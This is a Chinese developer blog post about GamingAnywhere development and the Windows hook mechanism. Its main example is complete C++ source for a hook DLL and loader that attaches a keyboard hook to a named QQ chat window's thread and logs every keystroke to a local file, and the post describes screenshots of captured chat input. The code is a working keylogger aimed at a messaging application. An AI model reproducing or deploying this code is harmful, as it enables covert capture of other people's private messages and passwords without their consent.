【GA源码分析之知识补充二】Windows钩子机制

本文提纲:

       1. 当前GA(Gaminganywhere)开发完成以及正在进行的工作;

       2. Windows Hook(钩子)在GA中的应用;

       3. 关于Windows Hook(钩子);

       4. Windows Hook(钩子)代码举例,完成线程钩子,监听QQ特定对话窗口并解析键盘操作,将键盘信息保存到文件中;

       5. 程序运行截图;

一、当前GA(Gaminganywhere)开发完成以及正在进行的工作;

       1) 以《*飞车》为例生成支持x64游戏以及采用DirectX11方式启动方式的代码改造;

            针对《*飞车》游戏的d11方式启动已经修改完成,期间也碰到了很多问题,在这些问题的解决中对GA的局限性以及我们自己的能动性也有了较新的认识,首先:支持d11方式启动的游戏在底层的实现细节中不一定是按照GA代码中特定的传统方式,比如说先通过D3D11CreateDeviceAndSwapChain创建出Device以及Swap,然后再进行Present()等,在修改代码的过程中,思维一直局限在按它的路子应该是先hook  D3D11CreateDeviceAndSwapChain然后再向下执行,因此在调试的过程中一直过不去,直到查看到一篇帖子:https://github.com/scen/stanleycen.com/blob/master/posts/directx11-hooking.md 上面提到:并不是所有的游戏都需要调用D3D11CreateDeviceAndSwapChain函数,其它的方式是通过CreateDXGIFactory或CreateDXGIFactory1来代替,当采用这种方式的时候还需要调用CreateSwapChain,从这里就可以获得SwapChain,然后就可以进行后续的工作,而不采用D3D11CreateDeviceAndSwapChain()函数的一个表现就是通过调用它获得的swapChain一直等于NULL,而且没有报错,看到这里的时候我就知道肯定是这个原因了,于是利用detour到CreateDXGIFactory1上来从而代码执行安装预想的方式进行了;

       2) GA服务端构建守护进程,同时客户端配合修改以完成一个客户端连接过来,直接启动游戏、建立连接、并进行数据传送;

            关于这一部分,GA服务器端的守护进程已经成功创建,监听客户端建立连接的请求,原本GA的运行机制是运行服务器端将游戏启动起来后,客户端再连接过来获取视频流,我们改造后是GA守护进程启动,客户端请求的连接中跟随游戏的名称,即需要启动哪些游戏,服务器端与客户端进行一次socket通信获取到客户端需要启动什么程序,然后将该socket保存下来,在利用rtsp发送数据的时候就可以针对不同的客户端启动不同的应用,然后待应用程序启动后再进行一次通信通知客户端进程继续向下执行,这种解决方式应该会对并发连接的session上有较好的支持,这部分已经完成了一半,对我们的设想还没有测试。

二、Windows Hook(钩子)在GA中的应用:

        Windows钩子的应用在GA的理解中起着很重要的作用,这是基于窗体捕捉的核心,在游戏启动之前它会挂上全局的钩子,当窗口启动就会调用钩子的回调函数,完成一系列的视频捕捉以及数据包的发送。由于是全局钩子,因此所有窗口的启动它都可以捕捉到,那我们如何区分哪个是我们真正需要捕捉的呢?在GA中如果是正常启动的游戏在进入挂钩之前都会写环境变量,在正式捕捉前会判断该环境变量的值是否存在,如果存在则说明是我们启动的游戏,如果没有则说明它是无关的窗口,直接detach掉就可以了。

三、关于Windows Hook(钩子);

        钩子(Hook),是Windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消息,而且所监视的窗口可以是其它进程所创建的。当消息到达后,在目标窗口处理函数之前处理它。钩子机制允许应用程序截获处理Window消息或特定事件。钩子实际上是一个处理消息的程序段,通过系统调用,把它挂入系统。每当特定的消息发出,在没有到达目的窗口前,钩子程序就先捕获该消息,亦即钩子函数先得到控制权,这时钩子函数即可以加工处理(改变)该消息,也可以不作处理而继续传递该消息,还可以强制结束消息的传递。

        每一个Hook都有一个与之关联的指针列表,称之为钩子链表,由系统来维护。这个列表的指针指向指定的,应用程序定义的,被Hook子程调用的回调函数,也就是该钩子的各个处理子程。当与指定的Hook类型关联的消息发生时,系统就把这个消息传递到Hook子程。一些Hook子程可以只监视消息,或者修改消息,或者停止消息的前进,避免这些消息传递到下一个Hook子程或者目的窗口。最近安装的钩子放在链的开始,而最早安装的钩子放在最后,也就是后加入的先获得控制权。Windows并不要求钩子子程的卸载顺序一定得和安装顺序相反。每当有一个钩子被卸载,windows便释放其占用的内存,并更新整个Hook链表。如果程序安装了钩子,但是在尚未卸载钩子子程之前就结束了,那么系统会自动为它做卸载钩子的操作。钩子子程是一个应用程序定义的回调函数(callback function),不能定义成某个类的成员函数,只能定义为普通的C函数。

        钩子函数既可以Hook本程序中的线程,也可以对其它程序中的某个线程进行Hook,为了实现后者的效果必须将钩子函数放在DLL中,别的进程会将该DLL映射到该进程的地址空间中,从而可以使用共享的程序段。

四、Windows Hook(钩子)代码举例,完成线程钩子,监听QQ特定对话窗口并解析键盘操作,将键盘信息保存到文件中;

        这里用到动态链接库DLL,关于这方面的知识在上一篇中有相关介绍,下面贴出主要实现代码:

钩子DLL实现的CPP文件:

#include "stdafx.h"
#include "do-hook.h"
#include <stdlib.h>
#include <stdio.h>

// 设置进程共享数据段,不通进程之间可以共享之间的数据
// 注意:位于共享数据端内的变量必须进行初始化
#pragma data_seg("SharedData");
DWORD pthread_ID = 0 ;
int EXIT_CODE = 0 ;
#pragma data_seg();

#pragma comment(linker , "/SECTION:SharedData,RWS")

static HHOOK myHook_m = NULL ;
static HHOOK myHook_w = NULL ;

static HMODULE  hInst = NULL ;
static int i = 0 ;
FILE * f_handle = fopen("C:\\dxm.txt" , "w+");


// This is an example of an exported variable
DOHOOK_API int ndohook=0;

// This is an example of an exported function.
DOHOOK_API int fndohook(void)
{
	return 42;
}

// This is the constructor of a class that has been exported.
// see do-hook.h for the class definition
Cdohook::Cdohook()
{
	return;
}

MODULE MODULE_EXPORT 
int install_hook()
{

	// 利用FindWindowc查找QQ某对话框的句柄
	HWND qq_w = FindWindow("TXGuiFoundation","段晓明");
	if(qq_w == NULL){
		printf("FindWindow failed and erro num is : %d.\n" , GetLastError());
		return -1;
	}

	// 根据窗口句柄查找线程ID
	pthread_ID = GetWindowThreadProcessId(qq_w , NULL);
	if(!pthread_ID){
		printf("GetWindowThreadProcessId error and pthread_ID = %d.\n" , pthread_ID);
		return -1 ;
	}else{
	    printf("GetWindowThreadProcessId success and pthread_ID = %d.\n" , pthread_ID);
	}

    // 利用线程ID挂钩子
	// 注意:WH_KEYBOARD_LL只能用于全局钩子,否则返回错误码为:1429 , 描述:
    // ERROR_GLOBAL_ONLY_HOOK Error description : This hook procedure can only be set globally
	// so use WH_KEYBOARD
	// 这是键盘钩子
	if((myHook_m = SetWindowsHookEx(WH_KEYBOARD , (HOOKPROC)do_hook , hInst , pthread_ID)) == NULL){
		printf("SetWindowsHookEx() execute error and error code is %d. \n" , GetLastError());
		return -1;
	}else{
	    printf("SetWindowsHookEx() execute success. \n");
	}

	// 设置窗口钩子,监听线程窗口关闭的消息
	if((myHook_w = SetWindowsHookEx(WH_SHELL , (HOOKPROC)do_hook_w , hInst , pthread_ID)) == NULL){
		printf("SetWindowsHookEx() execute error and error code is %d. \n" , GetLastError());
		return -1;
	}else{
	    printf("SetWindowsHookEx() execute success. \n");
	}

	return 0 ;
}

// 卸载钩子
MODULE MODULE_EXPORT 
int uninstall_hook()
{
	if(myHook_m != NULL){
	    UnhookWindowsHookEx(myHook_m);
		myHook_m = NULL ;
		printf("UnhookWindowsHookEx() success. \n");
	}

	if(myHook_w != NULL){
	    UnhookWindowsHookEx(myHook_w);
		myHook_w = NULL ;
		printf("UnhookWindowsHookEx() success. \n");
	}

	if(f_handle != NULL){
		fclose(f_handle);
		f_handle = NULL;
		printf("File fclose() success. \n");
	}
	
	return 0 ;
}

// 获取线程ID
MODULE MODULE_EXPORT
DWORD GetThreadID()
{
	return pthread_ID;
}

// 获取线程退出码
MODULE MODULE_EXPORT
int GetThreadExitCode()
{
	return EXIT_CODE;
}

// 钩子的回调函数
LRESULT CALLBACK do_hook(int nCode, WPARAM wParam, LPARAM lParam) 
{
// nCode:是hook代码,Hook子程利用这个参数来确定任务,该参数的值依赖于Hook类型,每一种hook都有自己的hook代码特征字符集
// wParm,lParm的值依赖与hook代码,他们的典型值是包含了关于发送和接收消息的信息

	/*
	// lParam指向一个EVENTMSG的结构体
	EVENTMSG *msg = (EVENTMSG*)lParam;

	// 判断是系统击键消息
	if(msg->message == WM_KEYUP || msg->message == WM_KEYDOWN){

		// 获取按键的虚拟码
		//UINT paramL = msg->paramL ;
		MessageBox(NULL , L"You press the key." , L"Demo" , MB_OK);
		
		// 将键盘虚拟码转换为ASCII码
	}
	*/

	if(nCode == HC_ACTION){
		if(lParam & 0x80000000){

			 // 下面的两句导致QQ程序报错
             //KBDLLHOOKSTRUCT *key_info = (KBDLLHOOKSTRUCT *)lParam ;
			 char buf[256];
			 memset(buf , 0 , sizeof(buf));

			 // 过滤掉特殊字符,例如:空格键,Ctrl键等
			 if(wParam == VK_SPACE || wParam == VK_BACK){
				 memcpy(buf , "  " , strlen("  "));
				 fwrite(buf , 1 , strlen(buf) , f_handle);
				 fflush(f_handle);
				 return true ;
			 }

			 // 获取虚拟键盘码对应的字符
			 GetKeyNameText(MapVirtualKey(wParam,0)<<16, buf , 32);
			 
			 fwrite(buf , 1 , strlen(buf) , f_handle);

			 fflush(f_handle);
		}
	}

	return CallNextHookEx(myHook_m, nCode, wParam, lParam);
}


// 监听窗口是否关闭的钩子回调函数
LRESULT CALLBACK do_hook_w(int nCode, WPARAM wParam, LPARAM lParam) 
{
	// 窗口销毁
	if(nCode == HSHELL_WINDOWDESTROYED){
		//MessageBox(NULL , "窗口即将销毁" , "友情提示" , MB_OK);		
		EXIT_CODE = 1 ;

		fflush(f_handle);
	}

	return CallNextHookEx(myHook_w, nCode, wParam, lParam);
}



BOOL APIENTRY 
DllMain( HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		hInst = hModule ;
		printf("hello word ...\n");
		break ;
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

调用测试程序HookTest.cpp文件:

#include "stdafx.h"
//#include "do-hook.h"
#include <Windows.h>

#pragma comment(lib , "do-hook.lib")

// 声明函数指针类型
typedef int (*INSTALL_HOOK)();   // 钩子安装函数指针
typedef int (*UN_INSTALL_HOOK)();  // 钩子卸载函数指针
typedef int (*GetThreadExitCode)();     // 获取线程退出状态函数指针
typedef DWORD (*GetThreadID)();         // 获取线程ID指针

int main(int argc, char * argv[])
{
	HINSTANCE hDLL ;
	INSTALL_HOOK install_hook;
	UN_INSTALL_HOOK un_install_hook ;
	GetThreadExitCode getExitCode;
	GetThreadID getThreadID ;

	STARTUPINFO startupInfo ;
	PROCESS_INFORMATION procInfo ;

	// 注意:这里的应用程序位数要对应程序编译的位数
	char * app_exe = "C:\\Windows\\System32\\mspaint.exe";

	printf("================== start ================\n");
	// 1> Load dll
	// LoadLibrary():载入指定的动态链接库,并将它映射到当前进程使用的地址空间;一旦载入,即可访问库内保存的资源
	if((hDLL = LoadLibrary("do-hook.dll")) == NULL){
		printf("LoadLibrary() execute error and error code : %d .\n" , GetLastError());
		system("pause");
		return -1 ;
	}

	// 2> Load function address
	if((install_hook = (int (*)())GetProcAddress(hDLL , "install_hook")) == NULL)
	{
		printf("GetProcAddress install_hook failed and error code : %d . \n" , GetLastError());
		system("pause");
	    return -1 ;
	}

	if((un_install_hook = (int (*)())GetProcAddress(hDLL , "uninstall_hook")) == NULL){
		printf("GetProcAddress uninstall_hook failed and error code : %d . \n" , GetLastError());
		system("pause");
		return -1 ;
	}

	if((getExitCode = (int (*)())GetProcAddress(hDLL , "GetThreadExitCode")) == NULL){
		printf("GetProcAddress getExitCode failed and error code : %d . \n" , GetLastError());
		system("pause");
		return -1 ;
	}

	if((getThreadID = (DWORD (*)())GetProcAddress(hDLL , "GetThreadID")) == NULL){
		printf("GetProcAddress getThreadID failed and error code : %d . \n" , GetLastError());
		system("pause");
		return -1 ;
	}

	// 3> Call install_hook function
	install_hook();

	// 4> CreateProcess
	/*
	ZeroMemory(&startupInfo , sizeof(startupInfo));
	ZeroMemory(&procInfo , sizeof(procInfo));
	if(CreateProcess(app_exe , NULL , NULL , NULL , FALSE , CREATE_NEW_CONSOLE , NULL , NULL , &startupInfo , &procInfo) == 0){

		printf("CreateProcess execute failed and error code = %d.\n" , GetLastError());
		system("pause");
		return -1 ;
	}

	// 5> WaitForSingleObject
	WaitForSingleObject(procInfo.hProcess , INFINITE);
    */

	// 方法一:通过线程ID获取线程句柄,然后通过WaitForSingleObject()函数等待线程结束
	/*
	DWORD pThreadID = getThreadID();
	HANDLE pThreadHandle = OpenThread(PROCESS_ALL_ACCESS , FALSE , pThreadID);

	printf("Before WaitForSingleObject() function.\n");
	WaitForSingleObject(pThreadHandle , INFINITE);
	printf("After WaitForSingleObject() function. \n");
	*/


	// 方法二:循环等待
	while(1)
	{
		int exitCode = getExitCode();
		if(exitCode){
			printf("The thread has exited.\n");
			break;
		}
	}

	system("pause");

	return 0;
}

五、程序运行截图;

        运行程序,QQ输入对话消息:

        【GA源码分析之知识补充二】Windows钩子机制

       关闭窗口,主窗口截获消息:

       【GA源码分析之知识补充二】Windows钩子机制

       消息保存的文件,由于没有对特殊按键做处理,因此会有其它按键的标识,但这已经是捕获了我们的输入:

       【GA源码分析之知识补充二】Windows钩子机制

写在结束:

        要回去过年了,开发工作要暂停一段时间了,我也会给自己多充电,让自己掌握的更多;还是那个原则,只要给自己一点新的认识,新的思路,对我来说就是进步,加油。

【GA源码分析之知识补充二】Windows钩子机制

上一篇:Python 和物理:矩阵数学备忘单


下一篇:Photoshop入门:下载的笔刷如何使用?